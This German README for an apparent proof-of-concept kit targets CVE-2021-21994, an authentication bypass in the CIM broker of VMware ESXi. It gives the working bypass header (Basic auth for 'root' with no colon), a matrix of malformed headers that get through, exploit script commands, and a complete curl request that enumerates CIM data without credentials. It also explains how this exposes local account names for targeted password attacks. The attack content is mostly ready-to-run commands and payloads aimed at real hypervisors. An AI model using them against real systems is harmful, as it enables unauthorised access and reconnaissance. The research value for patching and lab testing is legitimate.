mreza-en/cve-2021-21994_pocValidiert und exploitet die SFCB-Authentifizierungsumgehung von VMware ESXi (CVE-2021-21994) über eine Probe-/Fuzz-Harness und ermöglicht so unauthentifizierte CIM-XML-Enumeration.
| Feld | Wert |
|---|
| Typ | CWE-287 Unsachgemäße Authentifizierung (Auth-Bypass) |
| Komponente | SFCB (Small Footprint CIM Broker) in VMware ESXi |
| Angriffsvektor | Netzwerk, TCP 5989 (CIM-XML über HTTPS), „speziell gestaltete Anfrage" |
| Betroffen | ESXi 6.5 / 6.7 / 7.0 vor VMSA-2021-0014 (Juli 2021) |
| Fix | Patch-Builds von VMSA-2021-0014 |
| Öffentlicher PoC | Keiner. VMware hat die Anfrageform nie offengelegt |
Referenzen: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB
Da kein PoC existiert, ist dieses Kit ein Finde-es-selbst-Harness: sfcb_probe.py
validiert ein Orakel (check) und wirft dann ein gezieltes Mutations-Wörterbuch auf
/cimom (fuzz) und markiert jedes 200-mit-CIM-Body, das ohne gültige
Anmeldedaten erhalten wurde.
Verwenden Sie dies nur gegen Ihre eigene Labor-VM oder Ziele, die sich ausdrücklich im Rahmen eines autorisierten Engagement-Bereichs befinden.
/etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
esxcli network firewall ruleset list | grep -i cim
esxcli network ip connection list | grep 5989 # muss LISTEN sein
# zuerst das Orakel etablieren (benötigt ein echtes lokales ESXi-Konto, z. B. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'
# erwartet: no-auth -> 401, bogus -> 401, valid -> 200
# dann fuzzen (verwendet nur bogus/keine Anmeldedaten, niemals Ihre echten):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/
Der Bypass wurde gefunden. Grundursache: sfcbd schlägt bei OPEN fehl, wenn das
Basic-Auth-Token nicht in ein user:password-Paar mit : dekodiert wird.
Minimaler PoC-Header (base64 von root, ohne Doppelpunkt):
Authorization: Basic cm9vdA==
Beweismatrix aus dem Fuzz-Lauf:
| Anforderungsform | Status | Bedeutung |
|---|---|---|
kein Header / gültiges user:pass-b64 / : / root: | 401 | Doppelpunkt vorhanden → Authentifizierung läuft → abgelehnt |
b64("root") (kein Doppelpunkt) | 200 + CIM-Body | kein Doppelpunkt → Authentifizierung übersprungen |
b64("\0:\0") (leerer C-String) | 200 | dasselbe: kein Doppelpunkt |
ungültiges Base64 (Leerzeichen / BOM / Basic-Präfix) | 200 | Dekodierungsfehler → Authentifizierung übersprungen |
Basic\tTOKEN (Tab als Trennzeichen) | 401 | Aufteilung nach beliebigem WSP funktioniert → Authentifizierung läuft |
Basic␣␣TOKEN (doppeltes Leerzeichen) | 200 | Aufteilung nach einfachem Leerzeichen → Token beginnt mit Leerzeichen → Dekodierung schlägt fehl |
Eine 200-Antwort trägt eine CIM-XML-Hülle, die innerhalb des CIMOM
weitergeleitet wird (z. B. ERROR CODE="5" Class not found), was beweist, dass die
HTTP-Authentifizierungsschicht passiert wurde — dieselbe Anfrage ohne den
fehlerhaften Header gibt 401 zurück.
Exploit-Nutzung:
python3 sfcb_exploit.py verify 192.168.x.x # Orakel-Beweis, gibt VULNERABLE aus
python3 sfcb_exploit.py classes 192.168.x.x # Klassennamen eines Namespace ausgeben
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem
curl-Einzeiler für Berichts-Screenshots:
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
-H 'Content-Type: application/xml; charset=utf-8' \
-H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
-H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
-d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'
Auswirkung: nicht authentifizierter Lesezugriff auf den CIM-Broker:
VMware_Identity-Instanzen legen alle lokalen ESXi-Konten
offen (im Labor-6.5 beobachtet: root, dcui, vpxuser — vCenter-verwalteter
Host — sowie benutzerdefinierte Benutzer), was gezielte Passwortangriffe ermöglicht.VMware_RoleBasedAuthorizationService,
CIM_PrivilegeManagementService) deklarieren DMTF-Profilmethoden
(AssignRoles, AssignAccess, ...), legen aber keine Instanzen offen — die
Methoden sind nur Schema. Kontenerstellung/-änderung über CIM ist mit dieser CVE
nicht möglich; die Auswirkungsobergrenze ist nicht authentifizierte
Informationsoffenlegung.Bewertungen:
BYPASS-STRONG — HTTP 200 + CIM-XML-Body ohne gültige Anmeldedaten → Sie haben
den Bypass gefunden; die gedumpte Anfrage ist Ihre Exploit-Primitive.bypass-weak(200-no-cim-body) — 200, aber kein CIM-Body; Dump prüfen.blocked / info(400) — abgelehnt. Hinweis: Ein 400 bedeutet normalerweise, dass
die Anfrage vor der Auswertung der Authentifizierung gescheitert ist — immer noch
interessant, nur kein Bypass.Hinweis zu handgefertigten CIM-Bodys: Gemäß DSP0200 erfordert
EnumerateInstanceNames den ClassName-IPARAMVALUE. Ein Body ohne diesen kann aus
Gründen abgelehnt werden, die nichts mit der Authentifizierung zu tun haben, und das
Orakel verfälschen — das Harness sendet immer den spezifikationskonformen Body.
Der Fuzzer deckt die klassischen HTTP-Auth-Parser-Verwirrungsformen ab. Falls keine zuschlägt, ist der verbleibende (und endgültige) Weg Binärdiffing:
esx-base-VIB für einen verwundbaren Build (z. B. 6.5.0-GA-Klasse) und
einen mit VMSA-2021-0014 gepatchten 6.5/6.7/7.0-Build aus dem öffentlichen
VMware-Depot-Index:
https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xmlar-Archive → vib-Payload → cpio) und diffen
Sie die sfcbd*-Binärdateien mit Ghidra + BinDiff.sfcb auf SourceForge) ist eine nützliche
strukturelle Referenz für den HTTP+Auth-Codepfad, auch wenn der ESXi-Fork modifiziert ist.